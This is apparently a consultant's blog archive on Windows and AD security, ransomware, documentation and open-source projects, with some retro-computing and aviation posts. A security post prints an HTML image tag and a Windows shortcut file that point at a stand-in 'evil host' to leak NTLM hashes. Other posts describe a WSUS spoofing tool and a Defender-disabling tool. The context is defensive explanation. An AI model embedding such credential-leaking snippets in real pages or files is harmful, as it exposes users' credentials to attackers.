We are dealing with the so-called Swiss cheese model, first described scientifically by James Reason⁴ when analyzing aviation accidents. Many years ago, I wrote about this on the neighboring blog.⁵

Applied to IT this means: A measure such as an offline kept AD is only one protective layer. Taken on its own it’s only quite effective. The benefit of risk reduction arises only in combination with other protective and independent layers. So that a trajectory of accident opportunity does not punch through the protective layers as shown in the sketch.

These layers can also be non-technical in nature for example: Standard operation procedures (SOP) saying that all administrative interventions must be conducted in combination with tickets. Perfectly sufficient and accepted for audit trails.⁶

Application whitelisting and antivirus programs are examples of technical protective layers, more on these later.

The structural problem in every Windows

It’s in the nature of things that an IT system performs authentication when accessing a resource. Put simply, modern systems exchange cryptographic keys in the background so that users do not have to re-enter their credentials every time.

Microsoft Windows attempts to perform this key exchange in newer versions using the relatively secure Kerberos protocol⁷. With misconfiguration or older systems, however, a protocol downgrade⁸ can occur and NTLM⁹ in its various versions continues to be accepted.

NTLM is old. Nomen est omen: It’s the successor of the 1980s LAN Manager¹⁰ for the NT platform¹¹ and has been considered insecure since the late 1990s.¹² The problem has been known for decades and is structurally present in all Windows versions.

Microsoft does recommend disabling NTLM or at least reducing it.¹³ Unfortunately, the GPO and registry settings for this remain disabled by default on every server to this day.¹⁴ The “holy cow of backward compatibility”, which I already discussed in another blog post¹⁵, leaves operators behind.¹⁶ Numerous legacy programs and services buried deep in Windows behind all the fancy UI still continue to communicate using NTLM.¹⁷

There is also the aggravating fact that in practice you find hardly a network without older machines. Disabling NTLM would block file exchange with these. My saddest find so far: In 2021 I found a NT4 Workstation on an industrial site.¹⁸

Exfiltration of NTLM keys

Why is NTLM so dangerous today? Just one example makes it clear how NTLM keys can be easily extracted and nowadays decrypted even online.¹⁹ Any resource embedded in HTML that points to an SMB share causes a Windows system to disclose its keys (NTLM response):

<!DOCTYPE html>
<html>
 <head></head>
 <body>
 <img src="file://\\ip-or-dns-evil-host\share\dummy.png">
 </body>
</html>

It gets even more trivial in Windows Explorer shortcuts:

[InternetShortcut]
URL=https://wellknown-host
IconIndex=0
IconFile=\\ip-or-dns-evil-host\leak\leak.ico

When uncontrolled communication to the internet is possible, Windows willingly shares its keys.²⁰ Telekom and other ISPs have blocked outbound SMB port 445 in the consumer segment since WannaCry,²¹ but not in business tariffs and even less does that bother an attacker. For years, rogue servers²² have collected keys directly on affected machines and forwarded them for further poisoning, pass-the-hash, or relay attacks.²³ As shown in the screenshot below, a simple “dir” is needed:

Windows doesn’t lose its keys only through SMB port 445. Microsoft has always been very creative when it comes to expanding the attack surface by softening protocol boundaries. Over the years numerous SMB features and authentication options have been added. SMB Direct²⁴ or SMB over QUIC on UDP 443²⁵ come to mind first. Depending on IIS configuration on any Exchange or RDS terminal server, authentication can also occur via TCP 443 or, if an admin isn’t careful, even unencrypted via TCP 80 using BasicAuth²⁶.

How Ransomware Works

Ransomware attacks can be broken down into two fundamental intermediate objectives:

Execution of administrative tools and executables
Establishing a communication channel

This quickly makes it clear how essential Application Whitelisting²⁷ and an offline AD are. Application Whitelisting prevents the execution of a captured dropper.²⁸ Taking the AD offline prevents the download of the payload,²⁹ often a reverse shell³⁰ for communication with one or more command-and-control hosts (C&C) on the internet.³¹

If an attacker achieves only one of the two objectives, the attack fizzles out and remains limited to individual machines that can easily be replaced or cleaned up.

The reverse situation means victory for the attacker. The following steps present little difficulty in typical Windows AD scenarios:

Privilege escalation and persistence
Lateral movement
Data exfiltration for extortion
Manipulation or destruction of backups
Encryption

As a reference, I like to point to the publicly available incident report on the ransomware case at SIT in South Westphalia,³² still the largest infrastructure incident in the Federal Republic of Germany.³³

But We Have EDR/AV Software

Time, creativity, expertise, and technical resources are almost unlimited for attackers, while defenders usually struggle with limited means. Three trends I’ve personally observed in recent years:

Attackers mostly use Windows built-in tools.
Executables are compiled “on-site” on the target computer.
EDR/AV software³⁴ is ineffective.³⁵

My Clipboard Auditor so far never has been detected or blocked as malware.³⁶ That doesn’t mean it’s particularly good. No EDR/AV in the past decade has ever managed to detect any new ransomware wave and protection cannot be scientifically verified:³⁷

Quite alarmingly, we illustrate that no EDR can efficiently detect and prevent the four attack vectors we deployed.

There are also fundamental, Microsoft-typical implementation flaws.³⁸ Since the CrowdStrike incident,³⁹ it should be clear that EDR/AV itself poses a security risk and that marketing promises rendered meaningless in the EULA.⁴⁰

To go forward without EDR/AV software is difficult. Therefore, for a fully offline AD, the Defender built into every Windows system is sufficient. It helps with compliance and keeps costs and the SBOM⁴¹ low.

Offline Yet Online?

Keeping an AD offline does not mean users cannot work. Proxy servers have provided controlled access to the internet for decades.⁴² The details are:

Web browsers must not write their settings into Windows system settings.
Proxy servers must not have SSO/ NTLM/ Kerberos integration.
Proxy settings in both the system and web browser must not be changeable by users.

Microsoft Edge, due to its deep integration with the underlying Windows, is a total failure here. Instead, Mozilla Firefox⁴³ is used, with its ADMX group policy templates.⁴⁴

Email clients are even simpler. There’s hardly anything to configure if they connect to a groupware server or mail gateway⁴⁵ within the local network.

If the mail server is outside the organization, it’s sufficient to register the host with its handful egress⁴⁶ ports in the enterprise firewall.

And because Microsoft has been gradually making WSUS⁴⁷ worse over time,⁴⁸ internal GitOps update pipelines can keep the AD up to date. What I described for “digital twins” last year also applies here.⁴⁹

The major advantage of an offline-operated system: the “update pressure” and attack surface are significantly reduced.

The second major advantage: You become more independent from vendor’s product decisions and lifecycles.

Let’s be honest, everyone should be aware that locally operated AD infrastructures have no future at Microsoft. Those who don’t want to follow the path into the Azure AI cloud, and there are good reasons not to, should use the remaining time wisely to realign technology stacks and infrastructures.

I’m happy to help with advice and practical support.

With that in mind,
Yours,
Tomas Jakobs

Nautilus Helper on codeberg.org

Tomas Jakobs — Fri, 03 Oct 2025 19:36:16 +0200

Today on public holiday (in Germany) I polished my Nautilus script collection and uploaded it to Codeberg.¹ For everyone who enjoys automating recurring tasks such as OCR on PDFs, creating animated WebP images from a selection of pictures, or encoding videos in h.265.

The script collection will be updated from time to time. I already have some nice ideas in mind, like posting a graphic directly to Mastodon, more to come.

Have fun and enjoy the weekend!
Tomas Jakobs

https://codeberg.org/tomas-jakobs/gnome-script-folder-tools ↩︎

What's Not Written Doesn’t Exist

Tomas Jakobs — Thu, 18 Sep 2025 10:00:00 +0200

A typical day in a mid-sized company. The already overworked developer, deep in crunch mode¹ gets a quick note: “Would you please make the open invoices visible in the overview of all customers for this project?” Dutifully, he nods. He knows it’s an important project, the task isn’t technically difficult and the boss likes quick and simple solutions.

So somehow “in between” late in the afternoon, he “enhances” the UI, “adds” extra queries to the frontend, “adjusts” the corresponding logic in the backend, and “builds” new views for tje resulting lists. He even goes the extra mile by making the invoices click- and viewable. Tired but satisfied, the developer leans back shortly before midnight with the good feeling of having improved the application.

On the next morning, the boom halls through the corridor. No one agreed on these changes. Originally meant was just an additional column showing total sums. No lists, no dialogs and definitely no clickable documents for everybody. Frustration spreads. Damage control is needed for the entire team, not just for the developer. The time-critical project is set back by days though no one misunderstood something or acted in bad faith.

This is only a fictional example, but one that probably feels all too familiar. It doesn’t matter whether it’s a developer, admin, or project manager. Spontaneous verbal communication “in passing” is always tempting, so simple and convenient. Everyone is instantly satisfied. Work is delegated, seemingly understood, and quickly solved. But it doesn’t establish a binding foundation.

And the more people are involved in a project, the more things tend to start a life of their own. This is especially true when communicating with external parties or non-technical stakeholders, where terms are often interpreted differently. For example, I once noticed in an advanced ERP project that someone kept talking about “services”, but technically meant stored procedures². A difference with far-reaching operational consequences.

What’s not written doesn’t exist.

A variation of the legal maxim: “Quod non est in actis, non est in mundo”.³ Precision in the description of a work package, ticket, or meeting note prevents misunderstandings. Any written record, no matter how unnecessary it may seem, provides reference, clarity and accountability. Or do you remember exactly what you said six months ago on an unimportant issue then, that’s escalated now?

Context and Asynchronous Communication Matter

But writing down things isn’t enough. It must be structured and findable aswell. So individual thoughts can evolve into something collective within a company.

What is contextualized information? Let’s start with what lacks context: Chats in Teams and similar tools, loose files within a SMB share or SharePoint. Long, tangled email threads, outsiders barely can follow.

In stark contrast, tickets that reference a user, issue and ideally an asset do have context. Tasks in a project that relate to or derive from a previous task have context. A well-tagged, searchable wiki article has context. Ideally, all this lives in a project management tool, ticket system, or wiki.⁴

Communication should always be asynchronous⁵ and structured with a clear context so that it remains accessible to everyone, regardless of time and place. That’s what defines professional digital operations.

No Digitalization Without Documentation

In such environments, transparency and traceability of decisions almost become byproducts. Devices, users, and incidents gain a history. Processes, given a “before” and “after”, can be qualitatively measured and improved.

No one can suddenly show up in a meeting with the usual existential question: Why was something implemented exactly this way and not differently? In my experience, these questions usually appear right before a project ends and have the potential to bust it.

Digitalization projects fail for many reasons. One of the most common is the lack of written documentation. Often in combination with unclear communication and improper document management.⁶ Interestingly, this is often found in environments that pride themselves on being so modern and digitalized, sitting in endless chats and video calls, ultimately wasting valuable time.

In this context, I often refer to Florian Haas’s 2020 FrOSCon talk: “No, we won’t have a video call for that!”⁷

Yours,
Tomas Jakobs

Meet me @ Kielux 2025

Tomas Jakobs — Fri, 12 Sep 2025 09:05:43 +0200

Next Friday and Saturday (September, 19th + 20th 2025) you find me at the Kiel Open Source and Linux Days, also known as Kielux.¹ As guest, I’ll be attending a few talks and workshops.

Looking forward,
Yours,
Tomas Jakobs

https://www.kielux.de/ ↩︎

HTTP Limiter on codeberg.org

Tomas Jakobs — Thu, 04 Sep 2025 16:30:00 +0200

A Bash script I’ve used for many years got some love recently and I’ve uploaded it to Codeberg.¹ The HTTP Limiter is my answer to the bots, scrapers, and pentest tools that constantly hammer on my public facing hosts.

Though “hammer” might actually be an understatement. What once seemed like constant background noise has now become the norm with noticeable consequences: Log files grow faster and make you blind to relevant entries. Processing meaningless requests consumes more CPU, RAM, and bandwidth. REST APIs in particular, often implemented in slow frameworks and programming languages with sluggish database connections, are highly vulnerable to DDOS² attacks.

Of course my HTTP Limiter is just a “poor man’s defense” for individual and small systems. Any load-balancing cluster and proof-of-work implementation like Anubis³ is far more better. But hey, it works and sometimes things just need to be simple and fast. The HTTP Limiter is perfectly sufficient. It injects its iptables chains into ufw before.rules and processes requests before high-level services even have to deal with them. The following rules apply:

Allow a maximum of 100 new connections within 10 seconds from a single IP.
Allow a maximum of 250 connections from an IPv4 /24 subnet.
Allow a maximum of 250 connections from an IPv6 /64 subnet.
Optionally block entire ASNs (especially effective against BigTech).

These are thresholds developed over years, proven to work well for typical websites and self-hosted services in the SME sector. Your mileage may vary, and the rules can be freely adjusted.

If you like, you can port everything to the more modern nftables and adapt it for other distributions, that may deviate from the “Debian way.”

With that in mind,
Tomas Jakobs

How to measure IT Success?

Tomas Jakobs — Wed, 20 Aug 2025 17:30:00 +0200

A typical crisis meeting scenario: The Management and myself as an external consultant or information security officer sitting in a conference room:

Our processes are being slowed down by too many security requirements.

Employees are complaining.

‘Your’ IT security is becoming a risk to our business.

Such statements mark an important turning point for IT in small and medium-sized enterprises. They reflect concerns about change and loss of control.

Where collaboration used to be shaped by proximity and hierarchy before, successful companies rely on teamwork, clear processes, modern management tools, and automation today. A few examples:

Manual tasks are turned into scripts and stored in Git(Ops) repositories.¹
Work is no longer done “on demand” but through clearly documented tickets, linked to assets.²
Static Excel sheets are replaced by dynamic management tools that can be accessed by business intelligence³ applications such as Metabase.⁴
External partners and suppliers are managed through access management systems.⁵
Know-how is documented in a company-wide wiki or knowledge management system.⁶
Mobile devices are centrally managed by a MDM.⁷

The Elephant in the Room

How should one respond to such criticism? There is no universal solution. Every company is different. Sometimes, taking a clear stance also means that paths must diverge.

IT strategies require both, flexibility where it makes sense, and consistency where basic requirements are concerned. Anyone without backbone in such discussions, who cannot distinguish between compromise and necessity, will fail in the long run.

The key questions are:

Is there a genuine willingness to work in a modern, transparent, and team-understandable way?
How can successful operated IT be measured or even communicated?

Calculating the Real Cost of Downtime

The answer is surprisingly simple and can be found in any accounting system. Factors include:

Wages and salaries
Insurance, taxes, and recurring payments
Rent, leases, and financing for buildings, machines, vehicles
Ongoing contracts for electricity, gas, water, communication
Maintenance, license, and service contracts
Membership fees or other obligations

We are not talking about hard to calculate factors like reputational damage or loss of revenue. This is about concrete figures fixed costs incurred every day, regardless of whether the company can work productively or not.

Even with a medium two-digit staff size the fixed costs quickly sum up to tens of thousands of Euros per day. For companies with a low three-digit employee count on its payroll, we are somewhere in the six-digit figures per working day.

At this point, discussions about risk minimization⁸ and IT security gain a very tangible perspective. For example, the cost of adding an extra node in a high-availability cluster may represent only a few percent of the potential damage caused by an outage. Or when the question arises whether two-factor authentication is “too complicated” and “slows down work.”

A Shift in Perspective

From this point on, it becomes clear that every hour of downtime leads to measurable losses. The most important metric for IT success is therefore not efficiency, but security and stability.

Anyone who views IT solely through a business lens, or merely as a service provider, will always see security as an obstacle. This leads to misguided priorities, incentive structures, and KPIs in practice.

Understanding IT Monitoring Strategically

Every IT Monitoring, personally I prefer the open-source software Zabbix,⁹ can deliver the key operational metric: availability.

A scale value where the difference between 98%, 99%, or 99.99% may seem small at first glance, yet in reality, it can determine the very survival of a company.

Ironically people with a business background often don’t trust the math and I end up explaining that 98% availability means loosing 14 hours per month.

If I would follow the Pareto principle¹⁰ and would be satisfied with just 80%, that would mean accepting up to six days of downtime per month. No company in the world should run its IT in that way.

In fact several companies in Germany are “switched off” by ransomware every single day.¹¹ According to Bitkom the annual damage to the overall economy amounts to 289 billion Euros.¹² And this happens despite extensive controlling and executive dashboards showing everything is fine.

It’s quite like on the R.M.S. Titanic: Once declared unsinkable, everything in the green until just before the disaster. A radioed iceberg warning from the nearby Californian was ignored. Greeting messages were given higher priority.¹³ The ship steamed ahead at full speed into the night, effectively blind. The trajectory of failure in typical cyber incidents is frighteningly similar.¹⁴

Conclusion

IT is sustainably successful when operated properly and measured against actual downtime costs. Of course in addition to security posture, user trust and resilience. When machines run without interruption, customers experience no delays and invoices can be paid on time.¹⁵

As a consultant and especially as an information security officer (CISO), my job is to clearly identify risks and ask critical questions. Not to block decisions or complicate processes, but to make consequences visible and to mitigate problems.

This may be uncomfortable and requires the strength to draw clear lines and to say “No” sometimes.

Yours,
Tomas Jakobs

From Minstrel to Heretic

Tomas Jakobs — Sun, 13 Jul 2025 16:26:28 +0200

It was the early 2000s and I was sitting there with a massive brick from Microsoft Press.¹ The proud price back then: 129 Deutsche Mark. I flipped through it and felt a déjà vu: I knew these pages! Not in terms of content, but the layout, the structure, the examples, even the icons in the side notes: These were the lost manuals of the 1990s!

Okay, for the younger generation, I’ll have to explain: Once software used to come in boxes. Big ones with printed books inside. At first, thick ring binders. Later, massive volumes printed on thin and razor-sharp bible-like paper. Overnight, these vanished. First to CD-ROMs, then into the still young internet.

This was the exclusive MSDN membership.² A club for those willing to pay four-figure sums annually for Microsoft developer programs performing for the corporate crowd. It was the forerunner of today’s subscription models and paywalls. Luckily for students, it was (almost) free with a university ID and even allowed for commercial use.

So there I was, holding these lost manuals rebranded as training material, with that nagging, unshakable feeling: Something’s off.

Welcome to the Vendor Cult

Microsoft courted developers intensely, speaking of technological partnerships, sending invitations to their roadshows and product launches. Together we conquer the world and the new millennium! We developers were the key. The now-legendary “Developers, Developers, Developers!” outcry from Steve Ballmer in 1999 comes to mind.³

I was in my early twenties and believed it all. At the release of Windows 2000, Microsoft stood at its technological zenith. I followed the invitations and was convinced that being a Microsoft Certified Solution Developer (MCSD)⁴ would help me land projects and clients more easily. In today’s Microsoft lingo, that’s roughly equivalent to an “App Builder.”⁵

But clients didn’t care. They wanted problems solved. Nobody ever asked to see a certificate. Even fewer were willing to pay higher rates because of one. When I tried to raise this point with an “Ask the Expert” at an event in Karlsruhe, I noticed an atmospheric shift. From open, encouraging and friendly to cold, guarded and cautious.

There it was again that uneasy feeling. Something wasn’t right.

Am I Exploited?

Back then, Microsoft exams were product-bound. Windows Server 2000? Sorry, 2003 is just released, throw more money and time at it and come again. Though the concepts barely changed. Same with the Win32 API. The holy cow of backward compatibility prevents real evolution till today. Every Windows 11 or 2025 Server still builds upon the unchanged MMC with its Snap-Ins from 2003.⁶

Here’s one tiny programming example: You can’t create Windows services with full description text in one go. There are no methods for that in the .NET Framework. You have to go down to the Win32 SCM API⁷, use CreateService() to create the service, and then call ChangeServiceConfig2()⁸ on the same handle to set the description. Note the “2”, there’s also a plain ChangeServiceConfig(). All wrapped in a nest of security checks, because CreateService() might have failed earlier, and your app will crash the moment it hits a null handle.

To this day, the following heuristic holds: Empty description fields in Windows Services tell you a lot about the developer or vendor.

I can’t recall ever learning such details from any exam or manual. Even not from “the Petzold”,⁹ the Win32 reference Bible. You only learn such things through hands-on experience in environments, where stability and quality matter. I found it increasingly difficult to associate these with products from Redmond.

That uneasy feeling again. This can’t be normal.

Certified Incompetence

Somewhere between 2005 and 2007, the penny dropped: Being a certified Microsoft Partner was like being a member of the medieval church. You paid your tithe, joined the congregation, and got excommunicated at the moment you dared to ask questions.

And the certificate itself? Well, it tested your knowledge of features, never your understanding of architecture, code quality or something as radical as common sense.¹⁰

Over the years, I met plenty of people who collected exams like Pokémon cards but whose code lacked a single “try..catch” exception handler¹¹ and who’d never heard anything of SRPs¹². One day they swore by Silverlight only to watch Microsoft bury it on another day.¹³ Then came Metro, then UWP, then WinForms and then… whatever came next.

This parroting of trends, this chasing of erratic product politics, it’s not normal. For a business it’s downright toxic.

Lost my Faith

Today, many years later, I see it clearly: What I acquired back then wasn’t knowledge. It was an act of loyalty disguised as a certificate of competence. Not education, but indoctrination, value added for Microsoft, not for us.

Since 2007, I’ve quit all memberships and partner programs. This photo of my home office documents the last version of Windows I ever used productively. I skipped the leap to Windows Vista entirely.

Ironically, I still solve problems involving Microsoft technologies and infrastructures. The difference now: I follow the client’s needs and aim for sustainability and real problem-solving free of product politics, free of that religious vendor cult.

The lost manuals of yesteryear still sit on my shelf. A reminder of a bygone era and a warning, never again to work under such vague, uneasy feelings.

Now my tech stack and toolchains are open and can’t be locked away by anyone. Unlike what recently happened to many Microsoft partners.¹⁴

Now I sit here with a coffee at my GNU/Linux workstation, working with and on free software, standing on the shoulders of giants, countless open solutions, for the good of the community.

It’s been a long road, but now everything finally feels right.

Yours,
Tomas Jakobs

Hacking WSUS

Tomas Jakobs — Thu, 03 Jul 2025 10:20:19 +0200

If you have an own PKI in your AD, you may stop reading and move on. Nothing to see here. My gut however tell me, many mid-sized companies don’t have one and are at the mercy of Alex Neff’s Python script.¹

Wsuks² positions itself as man-in-the-middle between a Windows Update Server (WSUS) and the various servers/clients. It spoofs the WSUS IP in the ARP table. Upon contact (default: every 24 hours), a psexec64.exe along with a PowerShell script is distributed to the machines and executed, including elevation to Administrator. The payload can be adjusted arbitrarily.

So far the only prerequisite: A WSUS must be operated in the AD without TLS.

An elegant, easy-to-use tool for breaching and lateral movement. It’s build on the shoulders of GoSecure and their former tool pywsus, which pointed out the single point of failure, that WSUS represents.³

Yours,
Tomas Jakobs

AV protection in every Windows system undermined

Tomas Jakobs — Fri, 09 May 2025 07:40:00 +0200

Security through obscurity¹ is not working. This is not an allegation, it is a proven fact. Today’s proof has a particularly large impact on worldwide Microsoft Windows installations.

The Windows Security Centre (WSC) API² has been made to accept any program as an anti-virus solution. The WSC works as follows: If a manufacturer of an AV security solution wants to install his snakeoil, he/she first has to be able to switch off the anti-tempering mechanisms so that it is not identified as malware. Hence the extremely strict non-disclosure of this API until now.

Now anyone with local admin rights can deactivate Windows Defender, at least until the next reboot. A few more steps are necessary to achieve persistence. A service is required, a regular keepalive timestamp must be written into the registry and a few more other steps. However, if, for example, defendnot is re-executed via the task scheduler on every restart, Windows Defender is effectively switched off.

Defendnot is the successor to the no-defender³ presented last year, which still needed a DLL from a snakeoil manufacturer for this step. The solution was DCMA’d⁴ and made me to clone it on Codeberg⁵.

And of course there is a clone on Codeberg for the current defendnot as well⁶.

Microsoft now finds itself in a real dilemma. A short-term change to the WSC and the installation process for snakeoil is almost impossible. Security through obscurity does not work, it never has.

With this in mind,
Tomas Jakobs

rest-api-skeleton (Win+Linux) on codeberg.org

Tomas Jakobs — Wed, 09 Apr 2025 07:25:21 +0200

Yes, I have a passion for exotic languages. This time I experimented with Purebasic¹ and wanted to see how quickly a robust, multi-threaded HTTP REST API could be created. Cross-platform for Linux, Windows and OS X, free of additional dependencies as a single-file binary behind a reverse proxy that takes care of everything with TLS and load balancing.

The result is a complete skeleton framework that can be quickly customized for your own purposes. With only 100 KB, it is ridiculously small and extremely fast, with its own config file and logging. I even found time to integrate Swagger. The project is available on Codeberg, have fun!²

In diesem Sinne,
Tomas Jakobs

Update from 18.04.2025:

The compiled single-file executable was originally 100 KB in size, but I had to say goodbye to that. With TLS support, the Linux version comes to 1.3 MB, the Windows executable to 1.7 MB. Still compact and above all without additional dependencies.

Enroute in practice

Tomas Jakobs — Sat, 25 Jan 2025 17:00:02 +0100

A few years ago, I introduced Enroute¹ and was immediately excited.² For the first time, there is an ‘uncluttered’ app for both (Linux) desktop and mobile devices for VFR navigation and planning. And it’s free and open source and covers all of Europe. A lot of progress has been made since then and I have been able to thoroughly test the operational capability of Enroute on various trips. I would like to share one of these trips here.

News from Enroute

In 2022, I criticised the restrictive handling of charts and flight information in Germany, but the situation has improved significantly. The DFS portal for general aviation³ not only offers an AIP with all approach charts (VAC) of German aerodromes,⁴ it also provides a usable web API for programming retrieval for third-party applications. Bravo!

One such third-party software is the freely available but unfortunately proprietary AIPBrowserDE.⁵ It can be used to create trip kits with the official charts. Enroute can import this data and display it geo-referenced inside the moving map.⁶ Further improvements in handling and information processing complete the user experience. The font sizes for different end devices can be freely selected and weather information (e.g. density height) derived from the METAR data is shown aswell.

Real World Experience

The aim of the mission in winter 2022 was to transfer a sports aircraft repaired by the manufacturer to its owner. From Prievidza in Slovakia to Münster in Germany. A 900 km crossborder trip across Europe through Slovakia, the Czech Republic and Germany. Doesn’t sound like much of a challenge. In recent years I have travelled more longer and further in the Scandinavian Wilderness as far as the North Cape⁷.

Screenshot of Enroute with the air zones of the Czech Republic

The season is the highlight of this mission. Deepest winter with snow and frost. The effective flying time is reduced to just a few hours on the shorter winter days, as the flight is flown in VFR visual flight conditions. At the same time, you have to plan more time for everything and pay attention to things which usually have no relevance in summer. There were a few challenges and risks:

Short preparation time. Orders for transfers usually come at short notice and quite spontaneously. After the phone call the day before the scheduled flight, I immediately took a regular commercial flight to Vienna and then an overnight taxi ride from Vienna to Prievidza in Slovakia. Arrival at the hotel was shortly before midnight. Takeover of the aircraft was already scheduled for 9.00 am. There was not much time for planning, MET and NOTAM briefing and flight plan submission, which was done shortly after getting up from the hotel room.
The LZPE take-off site is less than an hour’s flight from the western border of Ukraine and there were numerous NOTAMS and active restricted military areas along the route to be observed.
Flying through the controlled airspace around the metropolis of Prague in the Czech Republic.
Finding a suitable airfield for refuelling in Germany. Not an easy task on this day due to icy runways. The original planning was to use the EDCJ Chemnitz Jahnsdorf airfield. Shortly after take-off it was clear that it was closed and I had to switch to my alternate EDAC Leipzig.

Flight planning in Enroute on the laptop in the hotel room

The integration of the European maps in Enroute is done in an exemplary manner. All relevant airspaces can be loaded quickly on the Linux notebook, iOS tablet and Android navigation smartphone. Enroute’s ability to hold everything completely offline should not be underestimated. Only a sync via WebDAV (with your own Nextcloud) would be desirable.

This is the aircraft to be transferred, shortly before take-off in wintry Prievidza

Thanks to the preparation, the flight itself was unproblematic and pure relaxation. At FL70, I was able to enjoy the Slovakian and Czech winter wonderland from above. There was a bit of work due to the frequent frequency transitions and the separation of traffic around Prague. On Decent, light ice formation on the wings close to the hazy ground added some excitement.

Flightdeck on FL70 over Czech Republic

The schedule included a generous time reserve for refuelling, which I had to make full use of. In the freezing cold, the fully refuelled plane refused to start. But the problem was quickly solved and I was able to catch up on the delay in flight. As planned, I landed in EDLT Münster on time with the last remaining sunshine.

Winter wonderland landscape during the flight

Thanks to Enroute, even short-notice flights across Europe can be reliably planned and carried out. It runs on my iOS tablet as well as on an Android smartphone that I only use for navigation as a backup. In my cross-checks with the available DWD online services and the aircraft’s built-in Garmin avionics, I couldn’t find any deviations or errors. On none of my flights in the last two years. For me as a VFR pilot, Enroute is a fully-fledged replacement for commercial software. Kudos!

I would like to make three suggestions to the Enroute development team, who maintain this wonderful piece of software in their spare time:

A sync function of plans via WebDAV with one’s own Nextcloud
Hosting the project at Codeberg⁸ and not at Microsoft GitHub.
An installation package for F-Droid

Yours,
Tomas Jakobs

PicoMem - All-in-One Retro-Board

Tomas Jakobs — Fri, 06 Dec 2024 22:00:08 +0100

I recently discovered an all-in-one magic goodie for PCs from the eighties from the USA: The PicoMem board by FreddyV.¹ This ISA bus plug-in card² provides RAM, hard disc, floppy disc, sound card, USB, Bluetooth and even a network for old PCs. Just the idea that I would be able to connect my Schneider Euro-PC³ to the Internet or its predecessor⁴ left me excited. At a price of just under 60 USD, I bought it immediately (note: customs duties for shipping to Europe will be added).

This is how the little gadget looks like: Nomen est Omen: An 8-bit ISA plug-in card with some memory and a Raspberry Pico W.⁵ This is where all the ‘magic’ happens. A Linux with DOSBox⁶ emulates the various plug-in cards and controllers in software and ‘injects’ everything back to the ISA bus. It obtains its ISO images from the SD card, which it integrates as bootable hard disks and floppy drives. Base-Memory,⁷ XMS⁸ and EMS⁹ and even the Wifi module of the Raspberry Pico W are emulated and looped through as well. As an NE2000¹⁰ compatible network card, the latter is integrated into DOS and is made accessible with the aid of the mTCP¹¹ TCP/IP tools.

The result is a kind of chimera¹² of old and new hard- and software. A truly impressive concept and engineering achievement.

The software is completely open-source and lovingly maintained by FreddyV in a (unfortunately GitHub) Git repo.¹³ However, simply plugging it in and getting started is not that easy. Knowledge of the old concepts, such as how IRQs and memory addresses work, everything about MS-DOS and its free derivative FreeDOS,¹⁴ is all a prerequisite.

In my experience, there was a small glitch: connected to the Euro-PC, the picoMem still required an external power supply via USB as well as a second of ‘thinking time’ before switching it on, so that the BIOS can recognise the memory and the drives.¹⁵ However, the picoMem board is constantly being improved and with each new firmware version it gets a little better.

A Schneider Euro-PC with only one ISA interface by default is the ideal machine for exactly this board. Up to now, I have solved the lack of free ISA slots not very elegantly with a triple extender board. Lo-Tec XTIDE,¹⁶ 1MB memory card¹⁷ and a VGA card for connecting a modern monitor were plugged into a kind of horizontal riser card extending out of the chassis. The MM12 amber monitor has its own connector, to which no modern monitor can be connected. This plug-in card zoo is not a pretty sight, even with a 3D-printed frame around it.

Now I’m thinking about moving VGA and the small picoMem into the internal housing, which would require a small 2-way ISA riser card with flexible cable routing. The long winter is still ahead of me.

In the meantime, I have been able to fulfil my long-cherished wish. The installation of my beloved Geoworks Ensemble¹⁸ in version 2.0, which was the superior graphical user interface for IBM-compatible PCs at that time and which attracted the interest of both Apple and Microsoft, who wanted to buy it up. Largely programmed in assembler, it was able to magically create a graphical Motif UI even on the less powerful XTs. In combination with high-resolution 720×348 Hercules graphics¹⁹ and a complete office suite consisting of Geowrite, Geodraw and Geocalc, it set standards at the time. It still lives on today as an open-source graphical add-on for retro computers.²⁰

Download Video...Video im AV1-Format. Wenn Sie es nicht sehen, nutzen Sie einen Browser/App (noch) ohne AV1-Unterstützung.

I was never able to install it on the Euro-PC because of the 512 KB RAM and the lack of money for a 20 MB hard drive. It wasn’t until a few years later in the early 1990s that I was able to do so on a Vobis Highscreen 386DX with 25 Mhz.

With this in mind,
Your Tomas Jakobs

Mastodon Sanitation

Tomas Jakobs — Thu, 21 Nov 2024 17:10:43 +0100

It feels like I’ve been getting more and more follower requests lately that I just have to turn down. Sometimes there are empty profiles, sometimes newly created ones, sometimes profiles with content, comments and followers, where I ask myself: Do you really want to stand in a context with these people?

Just a few minutes ago, another friendly but firm rejection.

Digital sanitation, so important in today’s world.

Stay safe,
Tomas Jakobs

Open source in the industry

Tomas Jakobs — Wed, 23 Oct 2024 08:00:00 +0200

A nice open source project from the industry. The new plant of a medium-sized company needed to be equipped with video surveillance and recording. Usually engineers use ready-to-use CCTV¹ systems bought in DIY stores, consisting of a network-attached storage and a streaming server.

Nowadays, not that cheap Chinese blackboxes, usually tied together with Apps, Cloud and Online functionality without any chance of customization. Better keep away from this especially when information security, valueable corporate assets and the lives of people are at stake.

For a bunch of cams, I have installed some Industrial PCs with GNU/Linux and OBS-Studio². The streams are taken directly via RTSP³ and displayed on several control screens with a previously unknown degree of customization. For QC everything is recorded in the background.

The system runs on a hardened Debian⁴ with Gnome. Some automation is done with xdotool⁵ in bash. The entire system is centrally managed by Ansible and monitored using Zabbix. Updates and upgrades are ensured for the next years, if not for decades at least.

In the end, the involvement with video technology during Corona - some called it “playing around” - as well as the live events⁶ on the self-built open source streaming platform⁷ with Owncast⁸ finally paid off ;-)

Have a nice day,
Tomas Jakobs

Enterprise-Backup Solution

Tomas Jakobs — Sun, 08 Sep 2024 13:30:26 +0200

Why is the ransomware business model so successful? How do criminals manage to steal data, encrypt it and often also destroy data backups? According to a representative survey conducted by BITKOM over the past 12 months, 60% of companies in Germany have been affected¹.

A brief excursion into this topic, my work and how I was able to help a company save EUR 17,000. As always, no claim to universality and completeness. Your mileage may vary.

Broken data backup concepts

The answer lies in the data backup concepts. Embedded in the ISMS and linked to emergency and continuity plans. From the BITKOM survey mentioned at the beginning, it can be seen that for 60% of those affected, these are precisely total failures:

Four out of ten (40 percent) of the affected companies were able to recover their data themselves, while 10 percent were able to get it back from the perpetrators without paying a ransom.

Without delving into the depths of the various certification standards, a concept always answers the following questions:

What RPO (Recovery Point Objective) and RTO (Recovery Time Objective)² are defined?
Can these be achieved with the existing technology and personnel in the event of a total failure?
Are there separate offline or offsite backups from regular operations?
Are dependencies and sequences taken into account?
Is a methodical review carried out on a regular basis?
Are changes transparent and traceable?

Poor Backup Software

At the latest with the last two questions, it becomes clear that there is no standard software that can provide answers.

On the one hand, software is being increasingly automated with CI/CD³ pipelines, deploy and rollout workflows on the systems. However, when it comes to backups and recovery, experience shows that administrators have to wade through more or less miserable dialogues manually.

